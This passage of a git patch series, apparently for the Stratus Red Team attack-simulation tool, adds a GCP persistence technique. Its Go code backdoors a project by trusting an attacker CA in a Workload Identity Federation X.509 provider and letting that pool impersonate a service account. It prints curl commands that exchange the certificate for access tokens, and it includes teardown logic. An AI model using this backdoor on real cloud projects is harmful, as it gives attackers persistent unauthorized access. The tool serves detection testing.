[]x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth}, + } + + clientDER, err := x509.CreateCertificate(rand.Reader, clientTemplate, caCert, &clientKey.PublicKey, caKey) + if err != nil { + return certBundle{}, fmt.Errorf("failed to create client certificate: %w", err) + } + + clientKeyDER, err := x509.MarshalECPrivateKey(clientKey) + if err != nil { + return certBundle{}, fmt.Errorf("failed to marshal client key: %w", err) + } + + return certBundle{ + caCertPEM: string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER})), + clientCertPEM: string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: clientDER})), + clientKeyPEM: string(pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: clientKeyDER})), + }, nil +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + ctx := context.Background() + poolId := params["pool_id"] + saEmail := params["sa_email"] + projectNumber := params["project_number"] + + log.Println("Generating attacker CA and client certificate") + certs, err := generateCerts() + if err != nil { + return err + } + // Write all cert files before making any GCP API calls. If the operator's + // gcloud ADC was previously configured to use these X.509 WIF credentials + // (e.g., after an end-to-end test of a prior detonation), the GCP Go client + // will try to authenticate stratus itself via mTLS using client.crt. Writing + // the files first breaks that chicken-and-egg dependency. + if err = os.WriteFile("ca.crt", []byte(certs.caCertPEM), 0600); err != nil { + return fmt.Errorf("failed to write ca.crt: %w", err) + } + if err = os.WriteFile("client.crt", []byte(certs.clientCertPEM), 0600); err != nil { + return fmt.Errorf("failed to write client.crt: %w", err) + } + if err = os.WriteFile("client.key", []byte(certs.clientKeyPEM), 0600); err != nil { + return fmt.Errorf("failed to write client.key: %w", err) + } + + svc, err := newIAMService(ctx, providers) + if err != nil { + return err + } + + log.Printf("Creating Workload Identity Pool %s in project %s\n", poolId, projectId) + poolOp, err := svc.Projects.Locations.WorkloadIdentityPools.Create( + poolParent(projectId), + &iamv1.WorkloadIdentityPool{ + DisplayName: "Stratus Red Team", + Description: "Created by Stratus Red Team for attack simulation", + }, + ).WorkloadIdentityPoolId(poolId).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to create Workload Identity Pool: %w", err) + } + if err = waitForOperation(ctx, svc, poolOp.Name); err != nil { + return fmt.Errorf("Workload Identity Pool creation did not complete: %w", err) + } + log.Printf("Successfully created Workload Identity Pool %s\n", poolId) + + // Register our self-signed CA as the trust anchor. GCP will accept any + // client certificate signed by this CA when exchanging for a GCP token. + log.Printf("Creating X.509 provider %s in pool %s\n", wifProviderId, poolId) + providerOp, err := svc.Projects.Locations.WorkloadIdentityPools.Providers.Create( + poolName(projectId, poolId), + &iamv1.WorkloadIdentityPoolProvider{ + DisplayName: "Stratus Red Team X.509", + Description: "Backdoor X.509 provider — attacker CA trusted for certificate exchange", + X509: &iamv1.X509{ + TrustStore: &iamv1.TrustStore{ + TrustAnchors: []*iamv1.TrustAnchor{ + {PemCertificate: strings.TrimSpace(certs.caCertPEM)}, + }, + }, + }, + AttributeMapping: map[string]string{ + // google.subject is mapped to the certificate's Subject Common Name. + // assertion.subject is a structured object; .dn.cn extracts the CN string. + "google.subject": "assertion.subject.dn.cn", + }, + }, + ).WorkloadIdentityPoolProviderId(wifProviderId).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to create Workload Identity Pool Provider: %w", err) + } + if err = waitForOperation(ctx, svc, providerOp.Name); err != nil { + return fmt.Errorf("Workload Identity Pool Provider creation did not complete: %w", err) + } + log.Printf("Successfully created X.509 provider %s\n", wifProviderId) + + // Grant workloadIdentityUser to all identities in the pool — any cert + // signed by our CA can now impersonate the target SA. + principalSet := fmt.Sprintf( + "principalSet://iam.googleapis.com/projects/%s/locations/global/workloadIdentityPools/%s/*", + projectNumber, poolId, + ) + log.Printf("Granting roles/iam.workloadIdentityUser on %s to %s\n", saEmail, principalSet) + _, err = svc.Projects.ServiceAccounts.SetIamPolicy( + "projects/-/serviceAccounts/"+saEmail, + &iamv1.SetIamPolicyRequest{ + Policy: &iamv1.Policy{ + Bindings: []*iamv1.Binding{ + { + Role: "roles/iam.workloadIdentityUser", + Members: []string{principalSet}, + }, + }, + }, + }, + ).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to grant workloadIdentityUser on %s: %w", saEmail, err) + } + + providerAudience := fmt.Sprintf( + "//iam.googleapis.com/projects/%s/locations/global/workloadIdentityPools/%s/providers/%s", + projectNumber, poolId, wifProviderId, + ) + log.Printf( + "Backdoor established. ca.crt, client.crt, and client.key written to the current directory.\n\n"+ + "To obtain a GCP access token (requires openssl + jq):\n\n"+ + " CLIENT_B64=$(openssl x509 -in client.crt -outform DER | base64 | tr -d '\\n')\n"+ + " CA_B64=$(openssl x509 -in ca.crt -outform DER | base64 | tr -d '\\n')\n"+ + " BODY=$(jq -cn --arg c \"$CLIENT_B64\" --arg ca \"$CA_B64\" --arg aud '%s' \\\n"+ + " '{grant_type:\"urn:ietf:params:oauth:grant-type:token-exchange\",subject_token_type:\"urn:ietf:params:oauth:token-type:mtls\",requested_token_type:\"urn:ietf:params:oauth:token-type:access_token\",audience:$aud,scope:\"https://www.googleapis.com/auth/cloud-platform\",subject_token:([$c,$ca]|tostring)}')\n"+ + " STS_TOKEN=$(curl -s --cert client.crt --key client.key \\\n"+ + " -X POST https://sts.mtls.googleapis.com/v1/token \\\n"+ + " -H 'Content-Type: application/json' -d \"$BODY\" | jq -r .access_token)\n"+ + " curl -s -X POST \\\n"+ + " https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/%s:generateAccessToken \\\n"+ + " -H \"Authorization: Bearer $STS_TOKEN\" \\\n"+ + " -H 'Content-Type: application/json' \\\n"+ + " -d '{\"scope\":[\"https://www.googleapis.com/auth/cloud-platform\"]}'\n", + providerAudience, saEmail, + ) + return nil +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + ctx := context.Background() + poolId := params["pool_id"] + saEmail := params["sa_email"] + + svc, err := newIAMService(ctx, providers) + if err != nil { + return err + } + + // Clear the SA binding before tearing down the pool so no window exists + // where the binding references an already-deleted principal set. + log.Printf("Removing roles/iam.workloadIdentityUser binding from %s\n", saEmail) + _, err = svc.Projects.ServiceAccounts.SetIamPolicy( + "projects/-/serviceAccounts/"+saEmail, + &iamv1.SetIamPolicyRequest{ + Policy: &iamv1.Policy{Bindings: []*iamv1.Binding{}}, + }, + ).Context(ctx).Do() + if err != nil && !strings.Contains(err.Error(), "404") { + return fmt.Errorf("failed to clear IAM policy on %s: %w", saEmail, err) + } + + log.Printf("Deleting X.509 provider %s from pool %s\n", wifProviderId, poolId) + providerOp, err := svc.Projects.Locations.WorkloadIdentityPools.Providers.Delete( + providerName(projectId, poolId, wifProviderId), + ).Context(ctx).Do() + if err != nil && !strings.Contains(err.Error(), "404") { + return fmt.Errorf("failed to delete provider from pool %s: %w", poolId, err) + } + if providerOp != nil { + if err = waitForOperation(ctx, svc, providerOp.Name); err != nil { + return fmt.Errorf("provider deletion did not complete for pool %s: %w", poolId, err) + } + } + log.Printf("Successfully deleted X.509 provider %s from pool %s\n", wifProviderId, poolId) + + log.Printf("Deleting Workload Identity Pool %s\n", poolId) + poolOp, err := svc.Projects.Locations.WorkloadIdentityPools.Delete( + poolName(projectId, poolId), + ).Context(ctx).Do() + if err != nil && !strings.Contains(err.Error(), "404") { + return fmt.Errorf("failed to delete Workload Identity Pool %s: %w", poolId, err) + } + if poolOp != nil { + if err = waitForOperation(ctx, svc, poolOp.Name); err != nil { + return fmt.Errorf("pool deletion did not complete for %s: %w", poolId, err) + } + } + log.Printf("Successfully deleted Workload Identity Pool %s\n", poolId) + + for _, f := range []string{"ca.crt", "client.crt", "client.key"} { + if err = os.Remove(f); err != nil && !os.IsNotExist(err) { + log.Printf("Warning: failed to remove %s: %v\n", f, err) + } + } + return nil +} diff --git a/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.tf b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.tf new file mode 100644 index 000000000..36e8fc96b --- /dev/null +++ b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.tf @@ -0,0 +1,48 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 6.18.1" + } + random = { + source = "hashicorp/random" + version = "~> 3.3.2" + } + } +} + +locals { + resource_prefix = "stratus-red-team-wif" +} + +data "google_project" "current" {} + +resource "random_string" "suffix" { + length = 8 + special = false + min_lower = 8 +} + +# Target service account that an attacker would impersonate via WIF. +# In a real environment an adversary would target an existing high-privilege SA; +# here we create a dedicated one so the attack is self-contained. +resource "google_service_account" "sa" { + account_id = "${local.resource_prefix}-${random_string.suffix.result}" + display_name = "Stratus Red Team WIF Target SA" +} + +output "pool_id" { + value = "${local.resource_prefix}-${random_string.suffix.result}" +} + +output "sa_email" { + value = google_service_account.sa.email +} + +output "project_number" { + value = data.google_project.current.number +} + +output "display" { + value = "Service account ${google_service_account.sa.email} targeted by WIF pool ${local.resource_prefix}-${random_string.suffix.result}" +} diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index 2b6407831..7d5c9805f 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -93,6 +93,7 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/backdoor-cloud-function" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-service-account-key" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/invite-external-user" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts" From 10674c1576d91225b734777a4ed8393221fa0799 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Mar=C3=A9chal?= Date: Mon, 30 Mar 2026 16:51:59 +0200 Subject: [PATCH 2/3] Add external references for technique documentation Co-Authored-By: Claude Opus 4.6 (1M context) --- .../gcp/persistence/create-workload-identity-federation/main.go | 2 ++ 1 file changed, 2 insertions(+) diff --git a/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go index fe5185428..7a16e201e 100644 --- a/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go +++ b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go @@ -65,6 +65,8 @@ References: - https://cloud.google.com/iam/docs/workload-identity-federation-with-x509-certificates - https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools +- https://www.tenable.com/blog/how-attackers-can-exploit-gcps-multicloud-workload-solution +- https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse `, Detection: ` Identify when a Workload Identity Federation pool or provider is created by From 7b7c5db795ba0fb65c021bfdc996bad52080c7ff Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Mar=C3=A9chal?= Date: Wed, 1 Apr 2026 10:51:05 +0200 Subject: [PATCH 3/3] Remove HackTricks refs, regenerate docs Co-Authored-By: Claude Opus 4.6 (1M context) --- ...nce.create-workload-identity-federation.md | 1 + .../mitre-attack-coverage-matrices.md | 6 +-- v2/go.mod | 15 +++---- v2/go.sum | 45 ++++--------------- .../main.go | 1 - 5 files changed, 20 insertions(+), 48 deletions(-) diff --git a/docs/attack-techniques/GCP/gcp.persistence.create-workload-identity-federation.md b/docs/attack-techniques/GCP/gcp.persistence.create-workload-identity-federation.md index 61122c28b..e0aa27e77 100755 --- a/docs/attack-techniques/GCP/gcp.persistence.create-workload-identity-federation.md +++ b/docs/attack-techniques/GCP/gcp.persistence.create-workload-identity-federation.md @@ -53,6 +53,7 @@ References: - https://cloud.google.com/iam/docs/workload-identity-federation-with-x509-certificates - https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools +- https://www.tenable.com/blog/how-attackers-can-exploit-gcps-multicloud-workload-solution ## Instructions diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md index 298841d9c..50d1be9f2 100644 --- a/docs/attack-techniques/mitre-attack-coverage-matrices.md +++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md @@ -59,9 +59,9 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently Inject a Malicious Startup Script into a Vertex AI Workbench InstanceBackdoor a GCP Service Account through its IAM PolicyCreate an Admin GCP Service AccountDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Disk by sharing itCreate GCE Instances in Multiple Zones Execute Commands on GCE Instances via OS Config AgentCreate an Admin GCP Service AccountCreate a GCP Service Account KeyAttempt to Remove a GCP Project from its OrganizationExfiltrate Compute Image by sharing itInvoke a Vertex AI Model Create a GCP Service Account KeyImpersonate GCP Service AccountsDisable VPC Flow Logs on a SubnetExfiltrate Compute Disk by sharing a snapshotRansomware Simulation — Delete All GCS Objects in Batch -Invite an External User to a GCP ProjectInject a Malicious Startup Script into a Vertex AI Workbench InstanceDelete a GCP Log SinkBackdoor a GCS Bucket via Overly Permissive IAM PolicyRansomware Simulation — Encrypt GCS Objects Client-Side -Backdoor a Cloud Function by Granting Public Invoke AccessDisable a GCP Log SinkRansomware Simulation — Delete GCS Objects Individually -Reduce Log Retention Period on a Cloud Logging Sink Bucket +Create a Workload Identity Federation Pool and ProviderInject a Malicious Startup Script into a Vertex AI Workbench InstanceDelete a GCP Log SinkBackdoor a GCS Bucket via Overly Permissive IAM PolicyRansomware Simulation — Encrypt GCS Objects Client-Side +Invite an External User to a GCP ProjectDisable a GCP Log SinkRansomware Simulation — Delete GCS Objects Individually +Backdoor a Cloud Function by Granting Public Invoke AccessReduce Log Retention Period on a Cloud Logging Sink Bucket diff --git a/v2/go.mod b/v2/go.mod index aa7bb9683..4a189fad7 100644 --- a/v2/go.mod +++ b/v2/go.mod @@ -14,6 +14,7 @@ require ( github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2 v2.2.0 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/compute/armcompute/v4 v4.2.1 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/keyvault/armkeyvault v1.5.0 + github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/msi/armmsi v1.3.0 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork/v6 v6.1.0 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armlocks v1.2.0 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.2.0 @@ -50,6 +51,7 @@ require ( github.com/jedib0t/go-pretty/v6 v6.4.0 github.com/microsoftgraph/msgraph-beta-sdk-go v0.108.0 github.com/microsoftgraph/msgraph-sdk-go-core v1.2.1 + github.com/santhosh-tekuri/jsonschema/v6 v6.0.2 github.com/spf13/cobra v1.6.0 github.com/spf13/viper v1.21.0 github.com/stretchr/testify v1.11.1 @@ -70,8 +72,6 @@ require ( cloud.google.com/go/iam v1.3.1 // indirect cloud.google.com/go/longrunning v0.6.4 // indirect github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2 // indirect - github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2 v2.2.0 // indirect - github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/msi/armmsi v1.3.0 // indirect github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.2.0 // indirect github.com/AzureAD/microsoft-authentication-library-for-go v1.6.0 // indirect github.com/ProtonMail/go-crypto v1.1.0-alpha.2 // indirect @@ -135,7 +135,6 @@ require ( github.com/pmezard/go-difflib v1.0.0 // indirect github.com/rivo/uniseg v0.2.0 // indirect github.com/sagikazarmark/locafero v0.11.0 // indirect - github.com/santhosh-tekuri/jsonschema/v6 v6.0.2 // indirect github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect github.com/spf13/afero v1.15.0 // indirect github.com/spf13/cast v1.10.0 // indirect @@ -144,11 +143,11 @@ require ( github.com/stretchr/objx v0.5.2 // indirect github.com/subosito/gotenv v1.6.0 // indirect go.opentelemetry.io/auto/sdk v1.1.0 // indirect - go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.58.0 // indirect - go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.58.0 // indirect - go.opentelemetry.io/otel v1.34.0 // indirect - go.opentelemetry.io/otel/metric v1.34.0 // indirect - go.opentelemetry.io/otel/trace v1.34.0 // indirect + go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 // indirect + go.opentelemetry.io/otel v1.35.0 // indirect + go.opentelemetry.io/otel/metric v1.35.0 // indirect + go.opentelemetry.io/otel/trace v1.35.0 // indirect go.yaml.in/yaml/v3 v3.0.4 // indirect golang.org/x/mod v0.26.0 // indirect golang.org/x/net v0.43.0 // indirect diff --git a/v2/go.sum b/v2/go.sum index 758c68e8e..aca5f7ae4 100644 --- a/v2/go.sum +++ b/v2/go.sum @@ -3,12 +3,8 @@ cloud.google.com/go v0.118.0 h1:tvZe1mgqRxpiVa3XlIGMiPcEUbP1gNXELgD4y/IXmeQ= cloud.google.com/go v0.118.0/go.mod h1:zIt2pkedt/mo+DQjcT4/L3NDxzHPR29j5HcclNH+9PM= cloud.google.com/go/aiplatform v1.70.0 h1:vnqsPkgcwlDEpWl9t6C3/HLfHeweuGXs2gcYTzH6dMs= cloud.google.com/go/aiplatform v1.70.0/go.mod h1:1cewyC4h+yvRs0qVvlCuU3V6j1pJ41doIcroYX3uv8o= -cloud.google.com/go/auth v0.14.0 h1:A5C4dKV/Spdvxcl0ggWwWEzzP7AZMJSEIgrkngwhGYM= -cloud.google.com/go/auth v0.14.0/go.mod h1:CYsoRL1PdiDuqeQpZE0bP2pnPrGqFcOkI0nldEQis+A= cloud.google.com/go/auth v0.16.0 h1:Pd8P1s9WkcrBE2n/PhAwKsdrR35V3Sg2II9B+ndM3CU= cloud.google.com/go/auth v0.16.0/go.mod h1:1howDHJ5IETh/LwYs3ZxvlkXF48aSqqJUM+5o02dNOI= -cloud.google.com/go/auth/oauth2adapt v0.2.7 h1:/Lc7xODdqcEw8IrZ9SvwnlLX6j9FHQM74z6cBk9Rw6M= -cloud.google.com/go/auth/oauth2adapt v0.2.7/go.mod h1:NTbTTzfvPl1Y3V1nPpOgl2w6d/FjO7NNUQaWSox6ZMc= cloud.google.com/go/auth/oauth2adapt v0.2.8 h1:keo8NaayQZ6wimpNSmW5OPc283g65QNIiLpZnkHRbnc= cloud.google.com/go/auth/oauth2adapt v0.2.8/go.mod h1:XQ9y31RkqZCcwJWNSx2Xvric3RrU88hAYYbjDWYDL+c= cloud.google.com/go/compute v1.31.1 h1:SObuy8Fs6woazArpXp1fsHCw+ZH4iJ/8dGGTxUhHZQA= @@ -167,6 +163,8 @@ github.com/cyphar/filepath-securejoin v0.2.4/go.mod h1:aPGpWjXOXUn2NCNjFvBE6aRxG github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dlclark/regexp2 v1.11.0 h1:G/nrcoOa7ZXlpoa/91N3X7mM3r8eIlMBBJZvsz/mxKI= +github.com/dlclark/regexp2 v1.11.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153 h1:yUdfgN0XgIJw7foRItutHYUIhlcKzcSf5vDpdhQAKTc= github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc= @@ -236,18 +234,17 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= -github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.1.0 h1:Hsa8mG0dQ46ij8Sl2AYJDUv1oA9/d6Vk+3LG99Oe02g= github.com/google/gofuzz v1.1.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/martian/v3 v3.3.3 h1:DIhPTQrbPkgs2yJYdXU/eNACCG5DVQjySNRNlflZ9Fc= +github.com/google/martian/v3 v3.3.3/go.mod h1:iEPrYcgCF7jA9OtScMFQyAlZZ4YXTKEtJ1E6RWzmBA0= github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0= github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.3.4 h1:XYIDZApgAnrN1c855gTgghdIA6Stxb52D5RnLI1SLyw= -github.com/googleapis/enterprise-certificate-proxy v0.3.4/go.mod h1:YKe7cfqYXjKGpGvmSg28/fFvhNzinZQm8DGnaburhGA= github.com/googleapis/enterprise-certificate-proxy v0.3.6 h1:GW/XbdyBFQ8Qe+YAmFU9uHLo7OnF5tL52HFAgMmyrf4= github.com/googleapis/enterprise-certificate-proxy v0.3.6/go.mod h1:MkHOF77EYAE7qfSuSS9PU6g4Nt4e11cnsDUowfwewLA= github.com/googleapis/gax-go/v2 v2.14.1 h1:hb0FFeiPaQskmvakKu5EbCbpntQn48jyHuvrkurSS/Q= @@ -399,30 +396,20 @@ go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0= go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA= go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.58.0 h1:PS8wXpbyaDJQ2VDHHncMe9Vct0Zn1fEjpsjrLxGJoSc= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.58.0/go.mod h1:HDBUsEjOuRC0EzKZ1bSaRGZWUBAzo+MhAcUUORSr4D0= go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 h1:x7wzEgXfnzJcHDwStJT+mxOz4etr2EcexjqhBvmoakw= go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0/go.mod h1:rg+RlpR5dKwaS95IyyZqj5Wd4E13lk/msnTS0Xl9lJM= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.58.0 h1:yd02MEjBdJkG3uabWP9apV+OuWRIXGDuJEUJbOHmCFU= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.58.0/go.mod h1:umTcuxiv1n/s/S6/c2AT/g2CQ7u5C59sHDNmfSwgz7Q= go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 h1:sbiXRNDSWJOTobXh5HyQKjq6wUC5tNybqjIqDpAY4CU= go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0/go.mod h1:69uWxva0WgAA/4bu2Yy70SLDBwZXuQ6PbBpbsa5iZrQ= -go.opentelemetry.io/otel v1.34.0 h1:zRLXxLCgL1WyKsPVrgbSdMN4c0FMkDAskSTQP+0hdUY= -go.opentelemetry.io/otel v1.34.0/go.mod h1:OWFPOQ+h4G8xpyjgqo4SxJYdDQ/qmRH+wivy7zzx9oI= go.opentelemetry.io/otel v1.35.0 h1:xKWKPxrxB6OtMCbmMY021CqC45J+3Onta9MqjhnusiQ= go.opentelemetry.io/otel v1.35.0/go.mod h1:UEqy8Zp11hpkUrL73gSlELM0DupHoiq72dR+Zqel/+Y= -go.opentelemetry.io/otel/metric v1.34.0 h1:+eTR3U0MyfWjRDhmFMxe2SsW64QrZ84AOhvqS7Y+PoQ= -go.opentelemetry.io/otel/metric v1.34.0/go.mod h1:CEDrp0fy2D0MvkXE+dPV7cMi8tWZwX3dmaIhwPOaqHE= go.opentelemetry.io/otel/metric v1.35.0 h1:0znxYu2SNyuMSQT4Y9WDWej0VpcsxkuklLa4/siN90M= go.opentelemetry.io/otel/metric v1.35.0/go.mod h1:nKVFgxBZ2fReX6IlyW28MgZojkoAkJGaE8CpgeAU3oE= -go.opentelemetry.io/otel/sdk v1.34.0 h1:95zS4k/2GOy069d321O8jWgYsW3MzVV+KuSPKp7Wr1A= -go.opentelemetry.io/otel/sdk v1.34.0/go.mod h1:0e/pNiaMAqaykJGKbi+tSjWfNNHMTxoC9qANsCzbyxU= go.opentelemetry.io/otel/sdk v1.35.0 h1:iPctf8iprVySXSKJffSS79eOjl9pvxV9ZqOWT0QejKY= -go.opentelemetry.io/otel/sdk/metric v1.32.0 h1:rZvFnvmvawYb0alrYkjraqJq0Z4ZUJAiyYCU9snn1CU= -go.opentelemetry.io/otel/sdk/metric v1.32.0/go.mod h1:PWeZlq0zt9YkYAp3gjKZ0eicRYvOh1Gd+X99x6GHpCQ= +go.opentelemetry.io/otel/sdk v1.35.0/go.mod h1:+ga1bZliga3DxJ3CQGg3updiaAJoNECOgJREo9KHGQg= go.opentelemetry.io/otel/sdk/metric v1.35.0 h1:1RriWBmCKgkeHEhM7a2uMjMUfP7MsOF5JpUCaEqEI9o= -go.opentelemetry.io/otel/trace v1.34.0 h1:+ouXS2V8Rd4hp4580a8q23bg0azF2nI8cqLYnC8mh/k= -go.opentelemetry.io/otel/trace v1.34.0/go.mod h1:Svm7lSjQD7kG7KJ/MUHPVXSDGz2OX4h0M2jHBhmSfRE= +go.opentelemetry.io/otel/sdk/metric v1.35.0/go.mod h1:is6XYCUMpcKi+ZsOvfluY5YstFnhW0BidkR+gL+qN+w= +go.opentelemetry.io/otel/trace v1.35.0 h1:dPpEfJu1sDIqruz7BHFG3c7528f6ddfSWfFDVt/xgMs= +go.opentelemetry.io/otel/trace v1.35.0/go.mod h1:WUk7DtFp1Aw2MkvqGdwiXYDZZNvA/1J8o6xRXLrIkyc= go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= @@ -450,8 +437,6 @@ golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwY golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE= golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/oauth2 v0.27.0 h1:da9Vo7/tDv5RH/7nZDz1eMGS/q1Vv1N/7FCrBhI9I3M= -golang.org/x/oauth2 v0.27.0/go.mod 